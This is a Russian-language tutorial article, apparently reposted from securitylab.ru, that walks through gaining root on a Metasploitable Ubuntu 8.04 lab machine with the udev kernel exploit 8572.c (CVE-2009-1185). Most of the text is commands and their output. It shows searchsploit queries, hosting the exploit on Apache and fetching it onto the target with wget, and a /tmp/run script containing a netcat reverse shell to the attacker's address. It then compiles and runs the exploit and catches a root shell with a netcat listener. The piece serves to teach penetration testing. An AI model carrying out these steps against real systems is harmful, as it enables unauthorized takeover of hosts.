Расширение локальных привилегий в Linux при помощи эксплоита для ядра

Автор: drd_

Получение прав суперпользователя сродни Граалю для специалистов, занимающихся эксплуатацией уязвимостей в Linux. Так же как и системная учетная запись в Windows, в Linux аккаунт root дает полный административный доступ к операционной системе. Однако иногда даже при помощи эксплоита, который сработал успешно, мы получаем низкоуровневый шелл, и нужно нечто, позволяющее расширить полномочия, для получения доступа к более привилегированным аккаунтам и полного контроля над целевой системой.

Шаг 1: Сбор информации и поиск эксплоита

После того как получен низкоуровневый шелл в целевой системе, наша цель – расширение привилегий, права суперпользователя и полный доступ к системе.

В этой статье будет рассмотрено решение этой задачи при помощи эксплоита для ядра. Поскольку у нас уже есть шелл, воспользуемся командой uname –a для получения первоначальной информации о системе. Кроме того, команда lsb_release –a также может оказаться полезной для выяснения дистрибутива и сведений о релизе.

[*] Started reverse TCP handler on 172.16.1.100:4444[*] Command Stager progress — 100.46% done (1097/1092 bytes)[*] Sending stage (36 bytes) to 172.16.1.102[*] Command shell session 2 opened (172.16.1.100:4444 -> 172.16.1.102:49499) at 2018-07-16 13:55:15 -0500 iduid=33(www-data) gid=33(www-data) groups=33(www-data)whoamiwww-datauname -aLinux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linuxlsb_release -aNo LSB modeuls are available.Distributor ID: UbuntuDescription: Ubuntu 8.04Release: 8.04Codename: hardy

Мы выяснили, что система работает на базе Ubuntu 8.04 с ядром 2.6.24, и теперь приступаем к поиску эксплоита. В Kali есть локальная версия сайта Exploit-DB, представляющая собой базу данных, которая содержит эксплоиты, код и публикации. Поиск по базе осуществляется прямо из терминала при помощи команды searchsploit:

root@nullbyte:~# searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23 | exploits/linux_x86/local/42276.cLinux Kernel 2.2.25/2.4.24/2.6.2 — ‘mremap()’ Local Privilege Escala | exploits/linux/local/160.cLinux Kernel 2.2.x/2.4.x — Privileged Process Hijacking Privilege Es | exploits/linux/local/22362.cLinux Kernel 2.2.x/2.4.x — Privileged Process Hijacking Privilege Es | exploits/linux/local/22363.cLinux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 — ‘pipe.c’ Local Pr | exploits/linux/local/9844.pyLinux Kernel 2.4.32/2.6.0 — ‘do_mremap()’ Bound Checking Privilege E | exploits/linux/local/145.cLinux Kernel 2.4.30/2.6.11.5 — Bluetooth ‘bluez_sock_create’ Local P | exploits/linux/local/25289.cLinux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 — ‘Sendpage’ Local | exploits/linux/local/19933.rbLinux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / REHL 4.8/5.3 / SuSE 10 SP | exploits/linux/local/9545.cLinux Kernel 2.4.x/2.6.x — ‘Bluez’ BlueTooth Signed Buffer Index Pri | exploits/linux/local/926.cLinux Kernel 2.4.x/2.6.x — ‘uselib()’ Local Privilege Escalation (3) | exploits/linux/local/895.cLinux Kernel 2.4.x/2.6.x — Bluetooth Signed Buffer Index Privilege E | exploits/linux/local/25288.cLinux Kernel 2.4/2.6 (Fedora 11) — ‘sock_sendpage()’ Local Privilege | exploits/linux/local/9598.txtLinux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox | exploits/linux/local/9479.cLinux Kernel 2.4/2.6 (x86-64) — System Call Emulation Privilege Esca | exploits/linux_x86-64/local/4460.cLinux Kernel 2.4/2.6 — ‘sock_sendpage()’ Local Privilege Escalation | exploits/linux/local/9641.txtLinux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 — Local | exploits/linux/local/8478.shLinux Kernel 2.6 (Gentoo / Ubuntu 8.10/9/04) UDEV < 1.4.1 — Local Pr | exploits/linux/local/8572.cLinux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Cor | exploits/linux_x86/local/9542.cLinux Kernel 2.6.0 < 2.6.31 — ‘pipe.c’ Local Privilege Escalation (1 | exploits/linux/local/33321.cLinux Kernel 2.6.10 < 2.6.31.5 — ‘pipe.c’ Local Privilege Escalation | exploits/linux/local/40812.c

Поскольку мы ищем эксплоит для расширения привилегий, то используем ключевое слово privilege, а затем уточняем результаты поиска при помощи утилиты grep (флаг –i говорит о том, что не нужно учитывать регистр). Например, мы можем воспользоваться эксплоитом 8572.c, который эксплуатирует брешь в менеджере устройств UDEV и позволяет выполнять код через непроверенные сообщения в сокетах Netlink. Просто копируем путь к эксплоиту и при помощи команды locate выясняем полный путь:

root@nullbyte:~# locate linux/local/8572.c/usr/share/exploitdb/exploits/linux/local/8572.croot@nullbyte:~#

Как вы могли догадаться, эксплоит написан на С, однако мы не будем углубляться в дебри, а просто скомпилируем исходник. Хотя если вы знакомы с языком С, будет совсем не лишним ознакомиться с логикой работы эксплоита. Чтобы получить базовое представление о том, чем мы будем пользоваться, при помощи команды cat заглянем вовнутрь файла и посмотрим комментарии:

* cve-2009-1185.c** udev < 1141 Local Privilege Escalation Exploit* Jon Oberheide <jon@oberheide.org>* http://jon.oberheide.org** Информация:** http://cvemitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185** udev до версии 1.4.1 не проверяет, приходит ли NETLINK-сообщение из * пространства ядра, что позволяет локальным аккаунтам расширять* привилегии при помощи отсылки NETLINK-сообщения из пространства* пользователя ** Примечание:** Этот эксплоит является альтернативной версией эксплоита от kcope,* использует правила 95-udev-late.rules и позволяет запускать произвольные* команды при удалении устройства. Более чистый и надежный код при условии,* что в вашем дистрибутиве есть вышеуказанный файл с правилами. ** Протестирован в Gentoo, Intrepid и Jaunty.** Использование:** Необходимо передать PID, прикрепленный к сокетам netlink менеджера udevd* указан в /proc/net/netlink и обычно равен udevd PID минус 1), в* качестве аргумента argv[1].** Эксплоит запускает /tmp/run от имени суперпользователя, и вы можете * передать в ту команду любую полезную нагрузку.

Шаг 2: Доставка эксплоита в целевую систему

Для начала эксплоит нужно скопировать на целевую машину. Самый простой способ решить эту задачу – настроить локальный веб-сервер (например, Apache), подключиться к этому серверу с целевой системы и загрузить файл. Однако вначале нужно выполнить подготовительную работу.

Во-первых, убедитесь, что сервер поднят и работает в Kali. В терминале запустите команду service apache2 restart. Затем нужно создать символическую ссылку между директорией, где хранится и эксплоит и папкой с файлами сервера, при помощи следующей команды:

ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/

Теперь наш эксплоит доступен для загрузки.

В целевой системе эксплоит будет запускаться из директории /tmp, и нам нужно вначале создать исполняемый файл. В Kali введите команду nano /var/www/html/run и добавьте следующие строки:

#! /bin/bashnc 172.16.1.100 4321 -e /bin/bash

После запуска этого файла для подключения и организации шелла к системе, в которой работает Kali, через IP-адрес и порт 4321, будет использоваться Netcat. Нажмите Ctrl-X, затем Y и далее клавишу Enter для сохранения файла.

Теперь мы готовы к загрузке файлов на целевую машину. Используя полученный ранее низкоуровневый шелл, переходим в директорию /tmp, при помощи утилиты wget подключаемся к веб-серверу, на котором установлен Kali, и загружаем файлы все необходимые файлы.

cd /tmpwget http://172.16.1.100/run—15:18:31— http://172.16.1.100/run => ‘run’Connecting to 172.16.1.100:80… connected.HTTP request sent, awaiting response… 200 OKLength: 46 OK 100% 978.43 KB/s 15:18:31 (978.43 KB/s) — ‘run’ saved [46/46] wget http://172.16.1.100/local/8752.c—15:19:24— http://172.16.1.100/local/8572.c => ‘8572.c’Connecting to 172.16.1.100:80… connected.HTTP request sent, awaiting response… 200 OKLength: 2,876 (2.8K) [text/x-csrc] OK 100% 100.46 MB/s 15:19:24 (100.46 MB/s) — ‘8572.c’ saved [2876/2876]

Шаг 3: Компиляция и запуск эксплоита

Когда все файлы, необходимые для запуска эксплоита, оказались в целевой системе, остался последний шаг – компиляция исходника. Мы не будем погружаться в дебри программирования, но, если коротко – исполняемый файл должен быть собран из исходного текста. В нашем случае компиляция будет осуществляться при помощи GCC (GNU Compiler Collection; Набор компиляторов проекта GNU).

Для компиляции файла 8572.c используйте следующую команду (флаг –o задает имя конечного исполняемого файла):

gcc -o exploit 8572.c

Если в процессе компиляции не будет найден динамический линковщик, воспользуйтесь флагом –B для указания директории, где находится ld:

gcc -B /usr/bin -o exploit 8572.c

После компиляции при помощи команды ls проверяем, что исполняемый файл появился.

gcc -o exploit 8572.ccollect2: cannont find ‘ld’ gcc -B /usr/bin -o exploit 8572.c ls4674.jsvc_up8572.cexploitjVswAmhbkkrun

В комментариях файла 8572.c говорилось, что нам нужно найти PID (идентификатор процесса) сокета Netlink, который обычно равен идентификатору процесса UDEVD минус 1. Запускаем команду cat /proc/net/netlink и ищем ненулевой идентификатор. Проверяем найденное значение при помощи команды ps aux | grep udev. Идентификатор процесса UDEVB должен быть на единицу больше.

cat /proc/net/netlinksk Eth Pid Groups Rmem Wmem Dump Lockscelb4800 0 0 00000000 0 0 00000000 2cf87fa00 4 0 00000000 0 0 00000000 2cd678000 7 0 00000000 0 0 00000000 2cdc4bc00 9 0 00000000 0 0 00000000 2cdc09c00 10 0 00000000 0 0 00000000 2ce1bc400 15 0 00000000 0 0 00000000 2cf8dee00 15 2459 00000000 0 0 00000000 2cd394800 16 0 00000000 0 0 00000000 2cd5f6200 18 0 00000000 0 0 00000000 2ps aux | grep udevroot 2460 0.0 0.2 2216 648 ? S<s 14:42 0:01 /sbinudevd —daemon

Затем нужно настроить слушатель на машине с Kali, с которым будет устанавливаться соединение после запуска скрипта run на целевой системе. На машине с Kali введите команду nc -lvp 4321, после чего начнут отслеживаться входящие подключения.

После настройки слушателя, можно приступать к запуску эксплоита. Вспоминаем, что нужно передать PID сокета Netlink в качестве аргумента, который в нашем случае равен 2459 (у вас это значение может отличаться). Выполняем следующую команду в непривилегированном шелле:

./exploit 2459

Через некоторое время должно появиться подключение к нашему слушателю, и мы сможем запускать разные команды, как, например, id и whoami для просмотра информации о пользователе. Далее становится понятно, что у нас появился доступ с правами суперпользователя, и мы можем выполнять любые операции в целевой системе.

root@nullbyte:~# nc -lvp 4321listening on [any] 4321 …172.16.1.102: inverse host lookup failed: Unknown hostconnect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 34418iduid=0(root) gid=0(root)whoamiroot

Источник: securitylab.ru

Новые Технологии